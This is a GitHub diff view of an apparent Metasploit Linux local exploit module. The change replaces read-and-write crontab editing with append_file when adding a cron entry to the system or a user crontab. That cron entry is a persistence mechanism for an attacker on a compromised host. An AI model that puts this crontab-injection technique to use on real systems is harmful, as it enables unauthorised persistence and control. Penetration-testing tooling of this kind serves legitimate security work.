File tree Expand file tree Collapse file tree 1 file changed +2
-6
lines changed
modules/exploits/linux/local Expand file tree Collapse file tree 1 file changed +2
-6
lines changed Original file line number Diff line number Diff line change @@ -91,15 +91,11 @@ def exploit
91
91
end
92
92
when 'System Crontab'
93
93
file_to_clean = "#{ target . opts [ 'path' ] } /crontab"
94
- crontab = read_file ( file_to_clean )
95
- crontab << "\n #{ cron_entry } \n "
96
- write_file ( file_to_clean , crontab )
94
+ append_file ( file_to_clean , "\n #{ cron_entry } \n " )
97
95
vprint_good ( "Writing #{ cron_entry } to #{ file_to_clean } " )
98
96
when 'User Crontab'
99
97
file_to_clean = "#{ target . opts [ 'path' ] } /crontabs/#{ datastore [ 'USERNAME' ] } "
100
- crontab = read_file ( file_to_clean )
101
- crontab << "\n #{ cron_entry } \n "
102
- write_file ( file_to_clean , crontab )
98
+ append_file ( file_to_clean , "\n #{ cron_entry } \n " )
103
99
vprint_good ( "Writing #{ cron_entry } to #{ file_to_clean } " )
104
100
# at least on ubuntu, we need to restart cron to get this to work
105
101
vprint_status ( 'Reloading cron to pickup new entry' )
You can’t perform that action at this time.
0 commit comments